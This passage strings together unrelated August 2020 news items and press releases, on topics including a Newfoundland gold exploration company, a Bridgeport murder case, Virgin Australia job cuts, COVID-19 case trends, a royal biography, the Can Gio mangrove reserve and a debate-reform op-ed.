Virginia properties in this emerging gold district, led by New Found Gold. Drill permitting is underway on multiple targets for later this fall." All Company activities are conducted under guidelines and policies compliant with federal and provincial health and safety protocols related to the COVID-19 pandemic. The Company further announces it has granted a total of up to 600,000 stock options to directors and consultants of the company exercisable at a price of $0.20 per share for a period of two year from the date of grant. The options have been granted in accordance with the company's stock option plan. Qualified Person Catherine Fitzgerald, P.Geo., a Qualified Person under National Instrument 43-101, is the Qualified Person responsible for reviewing and approving the technical contents of this news release as they pertain to the Mustang and Virginia properties. About Sky Gold Corp. Sky Gold Corp. is a junior mineral exploration company engaged in acquiring and advancing mineral properties in Canada and the USA. In addition to the Company's Newfoundland properties, the Company also owns the Evening Star property, located 12 km southeast of Hawthorne, NV, which is prospective for gold mineralization and CRD (Carbonate Replacement Deposit) base and precious (silver and gold) mineralization. ON BEHALF OF THE BOARD "Mike England" _________________________ Mike England, CEO&DIRECTOR FOR FURTHER INFORMATION PLEASE CONTACT: Telephone: 1-604-683-3995 Toll Free: 1-888-945-770 Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. FORWARD LOOKING STATEMENTS: This news release contains forward-looking statements, which relate to future events or future performance and reflect management's current expectations and assumptions. Such forward-looking statements reflect management's current beliefs and are based on assumptions made by and information currently available to the Company. Investors are cautioned that these forward looking statements are neither promises nor guarantees, and are subject to risks and uncertainties that may cause future results to differ materially from those expected. These forward -looking statements are made as of the date hereof and, except as required under applicable securities legislation, the Company does not assume any obligation to update or revise them to reflect new events or circumstances. All of the forward-looking statements made in this press release are qualified by these cautionary statements and by those made in our filings with SEDAR in Canada (available at WWW.SEDAR.COM). SOURCE: Sky Gold Corp. View source version on accesswire.com:https://www.accesswire.com/601137/Sky-Gold-Initiates-Field-Work-on-Central-Newfoundland-Properties-Contiguous-To-New-Found-Golds-Queensway-Gold-Project BRIDGEPORT A 19-year-old city teen, who police said admitted to strangling a 14-year-old boy, pleaded not guilty to murder charges Tuesday. Sitting in a small room at the Manson Youth Institution in Cheshire, Diante Willoughby yawned as Superior Court Judge Joan Alexander, by video conferencing, informed him of his rights. He then agreed to waive a hearing on probable cause and pleaded not guilty to murder and murder with special circumstances. He asked for a jury trial. Willoughbys lawyer, Public Defender Joseph Bruckmann, asked the judge for a lengthy continuance so that he could review all the records in the case. The judge agreed and continued the case to Oct. 11. If convicted of murder with special circumstances, Willoughby would be sentenced to life without the possibility of release. Willoughby, of Putnam Street, is charged in the death of 14-year-old Jose Nunez, whose body was found in a wooded area of Oxford on July 29, one day after his mother reported him missing to police. READ MORE: It probably could have been prevented: Family of slain Bridgeport teen speaks out READ MORE: Our pain will never go away: Family of slain 14-year-old dispute alleged killers account Nunezs family sat in the back of the courtroom in the Fairfield County Courthouse during the short proceeding, their eyes glued to the large video monitor. They later declined comment as they left the courthouse. Willoughby is being held in lieu of $2 million bond. A 14-year-old boy has also been charged with murder and conspiracy to commit murder in connection to the death of Nunez. Due to his age, his case has been sealed and will be held in state Juvenile Court. Captain Deepak Sathe - who was killed in the Air India Express plane crash in Kozhikode last Friday - was bid a tearful farewell at his funeral performed with full state honours here on Tuesday. Sathe's sons - Shantanu and Dhanjay - performed the last rites at his residence compound, Nahar Amrit Shakti in the presence of representatives of the defence forces, Maharashtra Police, various political leaders and society. Wreaths were placed on behalf of Chief Minister Uddhav Thackeray, the armed forces, and various organisations and institutions he was connected with after which the cremation took place at the Vikhroli Electric Crematorium, said a close family friend Capt D S Yadav. "Deepak Sathe was a loving husband and caring father and we are deeply pained by his tragic demise. He was a family man and loved to spend time with family and friends whenever possible. He was a calm, composed, simple and genuine person who persistently imbued happiness in people around him," said his wife Sushma and sons in a special tribute. They described him as warm with friends and acquaintances alike, careful and meticulous in his ways, and always pursued excellence. "He instilled in the children the importance of an honest day's work, and a good night's sleep. He infused in us a love for sport and the outdoors, the inquisitiveness to try novel experiences and an enthusiasm to explore new lands and varied cuisine. He will remain in our hearts forever," said the Sathe family. LIMA, PERU / ACCESSWIRE / August 10, 2020 / Alicorp S.A.A. (BVL:ALICORC1) and (ALICORI1) announced that it will hold its Second Quarter 2019 Conference Call on Thursday, August 13, 2020 at 11:00 a.m. Lima Time / 12:00 p.m. Eastern Time, which will be presented by Mr. Alfredo Perez - Chief Executive Officer, and other members of the senior management team. Alicorp will report its Second Quarter 2020 Earnings on Wednesday, August 12, 2020 after the market closes. The conference call can be accessed through the following numbers: 1-877-830-2576 (U.S. participants) +1-785-424-1726 (International participants) Conference ID: ALICORP To access the live webcast presentation, visit: https://webcasts.eqs.com/alicorp20200813/en Conference Replay: A replay will be available on August 13, 2020 at 3:00 p.m. for 7 days. 1-844-488-7474 (U.S. participants) +1-862-902-0129 (International participants) Passcode: 54997125 Alicorp is a leading CPG and B2B company headquartered in Peru, with operations in other Latin American countries, such as Argentina, Brazil, Bolivia, Chile, Ecuador, and exports to over 30 countries. The Company focuses on four core businesses: (1) Consumer packaging goods (food, personal and home care) in Peru, Brazil, Argentina, Bolivia, Ecuador and other countries, (2) B2B products (industrial oleaginous, industrial farinaceous and food service products), (3) Aquaculture (fish and shrimp balanced feed), and (4) Crushing (soy and sunflower beans). INVESTOR RELATIONS CONTACT: Gisele Remy, Investor Relations Officer investorrelations@alicorp.com.pe SOURCE: Alicorp S.A.A. View source version on accesswire.com: https://www.accesswire.com/601024/Alicorp-SAA-Announces-its-Second-Quarter-2020-Earnings-Conference-Call Virgin Australia is set to cut 400 roles at Brisbane Airport as the airline attempts to save cash in the wake of the coronavirus. Several Virgin employees anonymously told The Courier Mail experienced staff in the international team will be made redundant while overseas flights are grounded indefinitely. The airline announced a major restructure last Wednesday as new owners Bain Capital try to save the service as it struggles with billions of dollars in debt. PICTURED: Virgin Australia aircraft parked at Brisbane Airport during the coronavirus pandemic as the airline considers cutting up to 3000 jobs Virgin cut nearly a third of its workforce, up to 3,000 roles, and dissolved budget airline Tigerair as the industry copes with major travel restrictions. Operations and corporate roles are most like to go but the airline said it is considering voluntary redundancy, redeployment, leave without pay and flexible work arrangements. Virgin Australia said the losses would 'secure the employment of its remaining 6,000 workers, with the opportunity to expand the workforce to 8,000 when the market recovers'. Workers in the international division have been left confused by internal discussions over which positions are being made redundant. The anonymous employee said: 'There was an expectation that we would be transferred back to domestic and that redundancies would be made based on length of service.' They also asked why Virgin was allowed to accept $200m from the Queensland Government while slashing roles from the state. A Virgin Australia spokesperson said it is still speaking with workers and unions to try and find redeployment opportunities. The airline announced a major restructure on Wednesday as new owners Bain Capital try to save the service as it struggles with billions of dollars in debt. 'Despite the international workers roles being redundant, it did not automatically mean they would exit the airline.' The airline has been struggling under billions of dollars worth of debt due to coronavirus travel restrictions and passenger demand is expected to take at least three years to return to pre-COVID-19 levels. When CEO Paul Scurrah announced the restructure he said Australian airports are ' recording passenger numbers less than three per cent of last year.' A much-needed third flattening of the global case curve of Covid-19 appears to have begun, largely due to a recent plateau in daily cases in the US and Brazil two nations worst hit by the virus. In the last two weeks, with new cases in the US and Brazil hitting a plateau, the third (and most severe) wave of infections has started exhibiting signs that it may be relenting, shows data. India, which is currently reporting the highest number of daily infections in the world, is one of two countries among the worlds 10 worst hit where cases are still continuously rising. The three nations with the highest number of cases US (5,251,446 cases as on Tuesday morning), Brazil (3,057,470) and India (2,263,864) together account for 52.2% of all cases in the world. In the first 10 days of August, 60.3% of all cases have come from these three nations, which also explains why a plateau in two of these has influenced the global trajectory. Among the 10 countries that have reported the highest number of case in the world, daily cases are still continuously rising in only two India and Colombia. Other than the US and Brazil, daily cases also appear hitting a plateau in Mexico (7th spot, 480,278 cases). Russia (4th, 892,654 cases), South Africa (5th, 563,598 cases) and Chile (9th, 375,044 cases) . The remaining two Spain (10th, 370,060 cases) and Peru (7th, 483,133 cases) managed to control outbreaks once, but are now seeing a resurgence of cases. All caseloads are from the worldometers.info dashboard. To be sure, the global Covid-19 curve has flattened twice before first, when the Chinese outbreak peaked and the contagion was yet to reach the West; the second, when cases dropped in Europe however, it has risen again with more ferocity both times as the virus has spread to new regions. SHARE THIS ARTICLE ON Heres a look at whats new or notable in home video. Movies and TV series are available on streaming sites such as iTunes, Amazon and Vudu unless otherwise noted. New Blue-ray reissue The Quest: Name the movie in which a young Henry Thomas takes an epic bike ride, clashes with authorities and encounters a mysterious being. E.T. for sure, but also this much less-known but engaging Australian family movie made a few years later. Thomas is Cody, a mini MacGyver with a daredevil streak. The orphaned American teen lives with his guardian in a small Australian town, where he spends a summer investigating an underwater creature that may be connected to Aboriginal myth. The movie was originally titled Frog Dreaming. And warning: The 1986 movies depiction of Aboriginal characters, while not disparaging, now appears dated and simplistic. Kino Lorber Blu-ray, on sale now. More Information Also streaming New movies "Children of the Sea": A young girl feels a mysterious attraction to the aquatic life at the aquarium where her father works in this animated film from Japan. Friday in theaters, on streaming services and cable on demand. "Endless": A young-adult take on "Ghost" follows the relationship of Riley (Alexandra Shipp) and Chris (Nicholas Hamilton), which seems to continue after he dies in a car accident. Friday on streaming services and cable on demand. "The One and Only Ivan": This adaptation of the Newberry Medal-winning book about Ivan, a gorilla plotting his escape from the roadside attraction where he's been a captive for years, originally was going to be released in theaters. Friday on Disney+. "Project Power": Jamie Foxx stars in a thriller about a pill that gives ordinary people superpowers for five minutes. Friday on Netflix. "Sputnik": This Russian horror movie looks like what might happen if "Alien" took place in Chernobyl. Friday in theaters, on streaming services and cable on demand. TV series "Lovecraft Country": Two young friends contend with both racism and monsters in a journey across 1950s America in this adaptation of Matt Ruff's novel. Premieres 8 p.m. Sunday, HBO. Vintage movies "The Greatest Showman": Hugh Jackman stars as P.T. Barnum in this 2017 musical biopic, which scored with a pop-friendly soundtrack featuring songs such as "This Is Me." Friday on Disney+. "Les Miserables": Hugh, take two: Jackman is part of an all-star cast, including Anne Hathaway and Russell Crowe, in this film version of the smash Broadway musical based on Victor Hugo's epic novel. Sunday on Netflix. See More Collapse New In theaters The Silencing: Fans of The Hunt, Taken and reruns of Man vs. Wild and Criminal Minds will probably be fine passing the time with this thriller. Nikolaj Coster-Waldau (Jaime Lannister on Game of Thrones) stars as the father of a missing teenage daughter and an expert outdoorsman who joins in the search for a serial killer preying on young women. The Silencing was slated to screen at the South by Southwest Film Festival in March, which was canceled because of concerns about the novel coronavirus. Opens Friday in theaters, on streaming services and cable on demand. New Documentary Jazz on a Summers Day: This is a restoration of a documentary shot at the 1958 Newport Jazz Festival, which has been called one of the first and best concert films. Stars of the show include Louis Armstrong, Thelonious Monk and Dinah Washington. As New Yorker critic Richard Brody pointed out, though, demanding and sometimes politically charged modern jazz players at the festival such as Sonny Rollins and Miles Davis were left on the cutting-room floor. Opens Friday on streaming services and cable on demand. Notable Binge watch The Blacklist: This long-running NBC thriller isnt original; its basically Silence of the Lambs minus the cannibalism. Thats OK because instead of Hannibal Lecter, Blacklist has alluring weirdo James Spader. He plays Raymond Reddington, an international criminal who strikes a deal with the FBI to sell out a long list of bad guys with names like The Stewmaster and The Good Samaritan. A young profiler named Liz Keen (Megan Boone) is his Clarice. Sorting out their relationship adds an ongoing mystery to the weekly mayhem. Seasons one through six streaming on Netflix. Season seven now available on Blu-ray. Five episodes of season seven streaming on Peacock. Also: Hannibal, NBCs official Silence of the Lambs spinoff with cannibalism is streaming on Netflix. Jim Kiest is the arts and entertainment editor for the San Antonio Express-News. To read more from Jim, become a subscriber. jkiest@express-news.net | Twitter: @WeekenderSA It was Harry, not Meghan, who had a royal falling out before their wedding, according to a new book which was widely reported to be their side of the story. Finding Freedom: Harry and Meghan and the Making of a Modern Royal Family reports that Harry had an argument with the Queens right-hand woman Angela Kelly, and thought she was ignoring his requests for a final tiara fitting for Meghan. The book explains Harry tagged along with Meghan when she went to Buckingham Palace to see what options she would be given for a tiara to borrow for her wedding day. The happy couple on their wedding day. But Finding Freedom: Harry and Meghan and the Making of a Modern Royal Family reports that Harry had a disagreement with the Queens right-hand woman Angela Kelly over a final tiara fitting for Meghan. (Getty Images) The Queen had offered five different options all of which were carefully handled by Kelly, who is the Queens personal assistant, advisor and curator of her jewellery and wardrobe. The decision was made not to bring a hair stylist to that first fitting as it was felt it would have detracted from the intimacy of the personal moment. Instead, a full fitting with the stylist was to be arranged for another day. However, when it came to arranging that day, the book claims no matter how many requests were sent by Kensington Palace, the Queens personal dresser didnt respond. Radiant: Royal brides are often given the chance to borrow a tiara from the Queen. (Getty Images) Read more: Prince Harry's friend 'punished' for 'doubts' about Meghan Markle ahead of wedding Not knowing when Kelly was free, Harry was furious authors Carolyn Durand and Omid Scobie say. Kelly is one of the few people allowed to actually touch the Queen and because of their close relationship, is on call for Her Majesty almost all the time. However despite knowing about palace protocol and the two women being in Windsor for Easter, Harry didnt believe that Angela was truly unavailable. The book claims: What followed between the prince and Angela was a heated exchange that was far from the typical restraint expected. According to a source, Harry had no problem confronting the issue head on. He was fed up, said the aide. According to Scobie and Durand, the prince had to go straight to his grandmother to arrange a tiara trial for Meghan. Story continues It was later reported that Meghan had demanded a different tiara from the Queen for her wedding day. But the book claims Meghan was dismayed by those reports, and told a friend I love my tiara. The presence of Bishop Michael Bruce Curry at the service was actually suggested by Prince Charles. (Getty Images) Read more: Meghan Markle didn't want to stop serving the Queen, according to new book The book also claims that two of the features of the wedding ceremony were suggestions by Prince Charles. According to the authors, the Kingdom Choir and the address by Bishop Michael Curry were ideas offered up by Charles, Harrys father. Charles revealed on Classic FM earlier this year that he suggested some of the pieces for Prince William and Kates wedding back in 2011, too. It also offers another insight into the reported row between Meghan and Kate, which reportedly meant Kate left a bridesmaid dress fitting in tears. The Daily Telegraph reported that Kate, not long having given birth to Louis, was left upset at the mid-May fitting, but a new source, who Scobie and Durand say has never spoken out before, said the reports were puzzling. The source added: There were no tears from anyone. A spokesperson for The Duke and Duchess of Sussex has previously said: The Duke and Duchess of Sussex were not interviewed and did not contribute to Finding Freedom. This book is based on the authors own experiences as members of the royal press corps and their own independent reporting. Shop the new Finding Freedom book Yahoo Lifestyle is committed to finding you the best products at the best prices. We may receive a share from purchases made via links on this page. Pricing and availability are subject to change. Finding Freedom: Harry and Meghan and the Making of a Modern Royal Family | 13.60 from Amazon Watch the latest videos from Yahoo UK Lifestyle - China revealed that it has found the presence of coronavirus on the surface of packaging of frozen seafood - The seafood arrived at the City of Dalian, bought by three companies that are located in Yantai, and the Yantai government said that the seafood was imported albeit it did not mention from where - However, it was revealed that the seafood were shrimps, and the event caused the customs officers in Dalian to suspend the imports of seafood from three shrimp producers in Ecuador - It is believed also that the SARS-CoV-2 virus came from a market in Wuhan, China PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed Chinese authorities revealed that they found the presence of coronavirus on the surface of frozen seafood at the Dalian port. GMA's report stated that the virus was detected on the surface of the packaging of the seafood, identified as shrimps, imported from Ecuador. The local government then suspended the importation of seafood from three shrimp importers in Ecuador. Photo: Pixabay Source: UGC Scientists have signified that the coronavirus can live on surfaces, albeit in terms of infecting persons, airborne transmission is still the most dangerous. Masks are highly advised as the latest study revealed that these face coverings are not just to prevent the spread of coronavirus, but it all helps in reducing the viral load in the body. PAY ATTENTION: Shop with KAMI! The best offers and discounts on the market, product reviews and feedback Photo: Wikimedia Commons Source: UGC PAY ATTENTION: Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! In the Philippines, the government faced problems when they imposed the initial community quarantine, which was elevated into enhanced community quarantine. It also suspended transportation causing massive problems with commuters. Doctors have died after being infected by COVID-19. They are among the frontliners who attend to the patients rushing to hospitals amid the pandemic. The COVID-19 outbreak started out in Wuhan, Hubei Province of China. Some scientists believed that the virus came from an animal at one of Wuhan's wet markets. The Philippines has slowly eased quarantine measures and Filipinos are starting to adapt to the new normal. Please like and share our amazing Facebook posts to support the KAMI team! Dont hesitate to comment and share your opinions about our stories either. We love reading about your thoughts and views on different matters! Source: KAMI.com.gh After nearly 20 years of restoration, Can Gio Mangrove Biosphere Reserve has become the "green lung" of HCM City, contributing to improved air quality and reduced environmental pollution in the city. A view of Can Gio Mangrove Biosphere Reserve in HCM Citys Can Gio District. The Peoples Committee of HCM City last month organised a seminar to review the reserves achievements and conservation efforts in the face of urbanisation and climate change, with the aim of building a "green wall" to protect the citys environment. Located 50km southeast of the city centre, the reserve covering more than 75,000ha was recognised in 2000 by UNESCO as the first Mangrove Biosphere Reserve in Vietnam and a member of the global biosphere reserve network. Huynh Duc Hoan, head of the reserves Forest Protection Management Board, said the mangrove forest has a special environment comprising watershed, terrestrial, freshwater, and saltwater ecosystems. The forest plays an important role in limiting damage caused by storms and floods, reducing up to 50 per cent of the impact of energy from ocean waves, preventing rising sea levels, and protecting local households and infrastructure along the coasts. The forest's trees also provide firewood and raw material for production of pulp, particle boards and planks. The bark of the trees can be used to produce tannin for dyeing fabric to make glue, while leaves of mam (Avicennia) trees are used to feed cattle. Some parts of trees in the forest are used to make medicine. "We can use them for a long time because the trees have an ability to recover quickly, Hoan said. The forest is also an important seafood source, said Associate Professor Vien Ngoc Nam of the HCM City University of Agriculture and Forestry. There are many maritime varieties with high economic value such as sea bass, grouper, catfish, black-tiger shrimp, vannamei and blood cockle. Fallen leaves and parts of trees eventually decompose and become nutrient-rich humus, which is a food resource for marine animals, Nam said. Black-tiger shrimp, clam and shellfish breeding has developed since 1993, making an important contribution to agricultural restructuring, poverty reduction, and economic and social development, he said. Conservation of forest resources Nguyen Xuan Hoang, deputy director of the citys Department of Agriculture and Rural Development, said the Can Gio Biosphere Reserve would be turned into an ecotourism zone. The system of bridges, roads, canals, ditches and walkways in the forest have already been upgraded, creating favorable conditions for tourists to visit, he said. In the coming time, the municipal People's Committee of Can Gio District will focus on investing and improving the tourism space in the forest and link it with other tourism spaces in the area. The Forest Protection Management Board has developed a forest resource management plan that includes a focus on biodiversity conservation and sustainable development. The board has worked with the Southern Institute of Ecology to investigate bird species in the protective forest, which will serve biodiversity conservation and eco-tourism. Since 1990, it has signed contracts with 144 local households and 12 agencies and units and handed over forested areas to them for protection. This model brought good results as the forest owners have peace of mind and actively participate in forest protection, Hoang said. HCM City is completing policies on management and planning of the reserve, and mobilising the participation of communities and stakeholders in the management and exploitation of forest resources. Improving livelihoods for residents living in the reserve's buffer area will also be implemented. The city has set up forest protection posts in key areas and all sub-areas, and created relationships between forest protection forces and people living around the buffer area. The city is also working closely with districts, communes and armed forces in forest management and protection, and further extending forest coverage as well as creating jobs for labourers participating in afforestation. Tourists take a boat trip around the mangrove forests. VNS Photos Thu Hang Tourism Urban Area Project The Can Gio Sea Encroachment Project, also known as the Can Gio Tourism Urban Area Project, is expected to improve the quality of life of local residents and contribute to economic development, creating 25,000 jobs and adding a significant amount of revenue to the city budget. Covering 2,870ha of land, the project is located in the coastal area of Long Hoa Commune and Can Thanh Town in Can Gio District. When it is completed, more than 228,000 people are expected to live in the area and nine million tourists will visit each year. Professor Nguyen Hoang Tri, chairman of the National Committee of Programme on Vietnam People and Biosphere, said the project is in compliance with Vietnamese law and UNESCOs legal framework. The project will only use the beach and the sea area located away from other waterways, and does not affect the mangrove forest or archaeological sites, he said. It will not cause loss of residential land or lead to migration and resettlement. Local agriculture, fishery and seafood production will not be affected, except for an area of clam farming with low productivity in the beach area. Tri said the projects investor must continue conducting studies on the risks of extreme weather and erosion in forested land areas to ensure ecological integrity of the mangrove forests during the long period of project implementation. Dr. Nguyen Chi Thanh, director of the Vietnam Forest and Wetland Research Institute, said the project would add more the land fund, contributing to the development of Can Gio District. He noted that the project investor must also evaluate the environmental impact of the project, pay attention to issues related to ecosystems, and ensure that there is no negative impact on the reserve's environment and biodiversity. VNS Efforts made to preserve Can Gio Mangrove Biosphere Reserve Can Gio- Ho Chi Minh City was recognised by UNESCO as a World Biosphere Reserve with primeval forests and abundant floral coverage. Source: Xinhua| 2020-08-11 22:34:52|Editor: huaxia Video Player Close BAGHDAD, Aug. 11 (Xinhua) -- An Iraqi health official said on Tuesday that Iraq wants to secure the Russian COVID-19 vaccine after it is internationally approved, as the country's health ministry reported 3,396 new cases during the past 24 hours. The Iraqi health authorities are continuing to follow up the international attempts to produce coronavirus vaccines, said Riyadh Abdul-Amir, head of the ministry's public health department, in a press release. Abdul-Amir's comments came hours after Russian President Vladimir Putin declared that Russia had registered the world's first vaccine against the novel coronavirus. The new 3,396 cases brought the total nationwide infections in Iraq to 156,995, with 18,901 testing kits used during the day, the ministry said in a statement. So far, Iraq has used 1,183,950 testing kits, according to the ministry statement. It also reported 67 fatalities during the day, raising the death toll to 5,531, while 2,312 more patients recovered, bringing the total number of recoveries to 112,102. Since the outbreak of the coronavirus, Iraq has been taking measures to contain the pandemic. China has been helping Iraq fight the COVID-19 pandemic. From March 7 to April 26, a Chinese team of seven medical experts spent 50 days in Iraq to help contain the disease, during which they helped build a PCR lab and install an advanced CT scanner in Iraq's capital Baghdad. Since March 7, China has also sent three batches of medical aid to Iraq. Enditem PUNE, India, Aug. 11, 2020 /PRNewswire/ -- The worldwide spread of COVID-19 has positively impacted the global assisted reproductive technology market. This is mainly due to supportive government policies and the strategic steps taken by major market players to sustain in the pandemic. Coronavirus has positively impacted the Global Assisted Reproductive Technology Market. The Global Assisted Reproductive Technology Market is likely to experience an increase in the growth rate during the COVID-19 pandemic. As per a new report added by Research Dive, the global assisted reproductive technology market is anticipated to reach up to $56.3 billion during the forecast period from 2019 to 2026. Comprehensive analysis on drivers, challenges, growth opportunities, major segments, and key strategies executed by major market players are provided in the report for better understanding of the pandemic effect on the global market. Highlights of the Report The expected CAGR of the assisted reproductive technology market before COVID-19 pandemic was 10.3% during the forecast period. The CAGR of the global market after the pandemic crisis is projected to grow at a CAGR of 10.7% by 2027. In 2020, the expected market size of the assisted reproductive technology market before COVID-19 pandemic was $27.0 billion . . Due to COVID-19 pandemic, the market size of the global market is expected to reach up to $27.6 billion in 2020. Get 70 Pages Sample Analysis Report https://www.researchdive.com/covid-19-insights/345/assisted-reproductive-technology-market#myQueryForm Key Features of the Market Our analysts stated that the supportive government policies and rise in number of government approvals for assisted reproductive technology for infertile couples' treatment are the major factors expected for progressive market growth. For instance, in February 2020, the Indian government passed 'assisted reproductive technology (ART) regulation bill' amidst the COVID-19 pandemic. The bill is approved by the government to regulate the ART clinics with an aim to offer 'safe and ethical' reproductive procedures to nearly 27 billion infertile couples in the country. Furthermore, many institutions and organizations are coming forward their strategic steps in the pandemic crisis with an objective to help infertile couples. For instance, in June 2020, Society for assisted reproductive technology (SART) announced the launch of its fertility experts' podcast series. Multiple topics regarding the fertility treatment are addressed in the podcast. The aim of SART is to offer patient-friendly education in order to help them in understanding fertility problems and treatment options. These initiatives by various organizations are predicted to create huge awareness amongst individuals, which is projected to drive the growth of the global assisted reproductive technology market during COVID-19 crisis. Top 10 Companies in Assisted Reproductive Technology Industry The major players operating in the global assisted reproductive technology market include: Merck KGaA Nidacon International AB Cook California Cryobank FUJIFILM Irvine Scientific IVFtech ApS CooperSurgical, Inc. Hamilton Thorne, Inc. Thermo Fisher Scientific Inc. Ferring Pharmaceuticals. The report summarizes various aspects of all these key players including financial performance, product portfolio, recent strategic moves & developments, and SWOT analysis. Download Sample Report Post-Pandemic Scenario on Assisted Reproductive Technology Market As per the report, the global assisted reproductive technology market is expected to witness a progressive growth even after the COVID-19 pandemic. The growing adoption of R&D and innovations and the increase in number of patients suffering from childlessness and infertility disorders are expected to boost the growth of the global market during the forecast period. Besides, the growing success rate of assisted reproductive technology is other factor likely to propel the market growth after COVID-19 pandemic. For instance, according to the statistics provided by SART, more than 74,000 babies were born in 2018 with the help of using assisted reproductive technology. Similar Reports: About Research Dive Research Dive is a market research firm based in Pune, India. Maintaining the integrity and authenticity of the services, the firm provides the services that are solely based on its exclusive data model, compelled by the 360-degree research methodology, which guarantees comprehensive and accurate analysis. With an unprecedented access to several paid data resources, team of expert researchers, and strict work ethic, the firm offers insights that are extremely precise and reliable. Scrutinizing relevant news releases, government publications, decades of trade data, and technical & white papers, Research dive deliver the required services to its clients well within the required timeframe. Its expertise is focused on examining niche markets, targeting its major driving factors, and spotting threatening hindrances. Complementarily, it also has a seamless collaboration with the major industry aficionado that further offers its research an edge. Contact: Mr. Abhishek Paliwal Research Dive 30 Wall St. 8th Floor, New York NY 10005 (P) +91-(788)-802-9103 (India) +1-(917)-444-1262 (US) Toll Free: 1-888-961-4454 E-mail: [email protected] Website: https://www.researchdive.com LinkedIn: https://www.linkedin.com/company/research-dive/ Twitter: https://twitter.com/ResearchDive Facebook: https://www.facebook.com/Research-Dive-1385542314927521 SOURCE Research Dive ITHACA, N.Y. - New York City residents are four times more likely to choose a store where shoppers respect 6 feet of distancing as opposed to one where no one is social distancing, according to an experiment by Cornell University researchers conducted using a 3D simulation. Ricardo Daziano, associate professor of civil and environmental engineering, is principal investigator on a one-year, $102,700 RAPID grant from the National Science Foundation to use immersive virtual reality (VR) to continue assessing New Yorkers' perceptions of social distancing as the COVID-19 pandemic evolves. "We want to understand how people are making decisions based on compliance with the health guidelines," Daziano said. "Until a vaccine is developed, policymakers need to not only find the best incentives for people to avoid physical proximity, they also need to create plans for relaxing social distancing in the future. The behavioral forecasts from the models developed in this project will help guide those decisions." The preliminary experiment was conducted online with New York City residents in May, before the city entered phased reopening. At the time, shoppers frequently needed to wait in line outside grocery stores so the stores wouldn't exceed a limited capacity. The researchers found that the amount of distance mattered: respondents were four times more likely to choose stores where shoppers were spaced 6 feet apart in line, and 2.6 times more likely to choose those with 4 feet of space, as opposed to stores where they weren't socially distanced at all. New York City residents were 1.5 times more likely to choose a store where shoppers were wearing masks - a significant result, but much lower than their preference for stores with social distancing. Daziano said this result may well change in future studies, as more evidence has emerged about the benefits of wearing masks. In the next wave of experiments, participants will experience social distancing scenarios using head-mounted VR displays. The researchers will then construct mathematical models to analyze how people with varied backgrounds and political affiliations change their behavior in response to health threats. The researchers plan to survey city residents about different scenarios to gauge their perception of reopening as it occurs. For example, asking people to choose whether they'd rather sit indoors or outdoors at a restaurant - where the tables inside are much farther apart than the outdoor tables - could reveal valuable information about how people assess risk. "From a policy perspective, understanding that will help us plan or maybe redesign the reopening of businesses," said Daziano. "We want to understand who is more likely to respect health guidelines, what the risk perceptions are in public spaces and how we can create incentives for individuals to sustain social distancing, so we can help guide decisions." ### Paul Oestreicher While the president was demanding a fourth debate with his challenger, an opinion piece in The New York Times suggested that debates be scrapped altogether. Yes, the debates have certainly devolved over the years but this is a classic throw the baby out with the bathwater reaction. Lets fix them instead. Here are three changes to elevate the debates and increase their value to the public: 1.) Ditch the audience. In her NYT piece, Elizabeth Drew wrote that debates were less about conveying a vision or a plan than they were about upstaging the opponent. Points went to snappy comebacks and one-liners. Witty remarks drew laughs from the audience and got repeated for days and remembered for years, she said. Shes not wrong, of course. But its the debate format that has helped to create the reality TV atmosphere. The candidates have been playing to the audience; they look for applause or a laugh. Lets get serious and lets remove the audience. The point might be made moot because of the pandemic this year but the editorial board of the Washington Post recently endorsed this idea, calling the debates quip contests. Well gain time, engagement, and potentially more substantive responses. 2.) Level the field. I mean this literally. The candidates should be seated, anchored to their chairs. The freewheeling Town Hall format, where the candidates roam the stage, should be banned. In 2016, candidate Trump tried to intimidate Secretary Clinton when he alternated between standing and pacing back-and-forth behind her. Clinton said he was breathing down her neck, which made her feel "incredibly uncomfortable." Politico magazine called it "the ugliest debate ever seen." Pressing a physical advantagebullyingmust not be allowed. And having the candidates seated will also help mitigate any height discrimination, or heightism, where taller people are perceived to be stronger, and better leaders. 3.) Check the facts. A consequence of our glorious First Amendment is that political speech is highly protectedessentially any half-truth or lie may be told. While there are plenty of post-debate analyses, its too late. Many viewers tune-out after the practiced smiles and forced handshakes. And our brains tend to cling to misinformation even after it's been refuted. We need real-time (or near real-time) fact-checking. If IBM's Watson computer can win at Jeopardy!, why can't we get an indication of veracity while the debate is still in progress? Lets use technology to help the experts to sift through speech transcripts and testimony; almanacs and atlases; laws, regulations and policy statements; credible survey data, and non-partisan news articles, journals, and research reports. Lets help ensure the public gets the facts and not the flimflam. While were more polarized than ever and fewer people are undecided, more information, more opportunity for side-by-side comparison, is still crucial to the democratic process. In a society thats increasingly stressed by the health and economic consequences of COVID-19, systemic racism, and so many other issues, political discussion can be dispiriting, infuriating, and sometimes incendiary. But, as Ray Bradbury wrote in Fahrenheit 451, If you don't want a man unhappy politically, don't give him two sides to a question to worry him; give him one. Better yet, give him none. *** Paul Oestreicher, PhD is a recognized expert in strategic communications, marketing, and public affairs, and issues, crisis and reputation management. He is the author of Camelot, Inc.: Leadership and Management Insights from King Arthur and the Round Table and the blog C-O-I-N-S: Communication Opinions, Insights and New Strategies. Follow him @pauloestreicher. Up to 56 Lao students studying at a college in the central province of Quang Tri have returned to their country without permission from authorities amid the complicated Covid-19 pandemic. Border guards patrol the Vietnam-Laos border areas On Sunday, the Quang Tri Department of Foreign Affairs reported the case to the Consulate General of Laos in Danang and Vietnams consulate generals in Laos. The summer vacation for students of Quang Tri Medical College is from July 20 to August 25. By the end of July, the colleges student management board found 56 Lao students missing from the dormitory. It was later discovered they had returned to their country. Earlier, 15 among had petitioned the college to use their passport for travel, while the remaining 41 left Vietnam without taking their passports. A short time later, two of these students illegally returned to Vietnam to continue studying at the college in Quang Tri. They were detected and then taken to a local quarantine site. Quang Tri authorities said that the Lao students illegal entry and exit in the context of the on-going Covid-19 pandemic posed a risk of infection. They asked the Lao side to deal with the problem and help the students return to Vietnam for their studies. In early July, the Lao Consulate General in Danang issued a document to encourage Lao students not to leave Vietnam during their summer holiday as part of Covid-19 prevention efforts. Dtinews/Nguoilaodong Local mobile operators are sending out SMS messages for recruiting to military service under a contract. The Ukrainian Defense Ministry's Main Intelligence Directorate says the Russian occupying authorities in Donbas have boosted conscription efforts. "The Russian occupying administrations in the temporarily occupied territory in 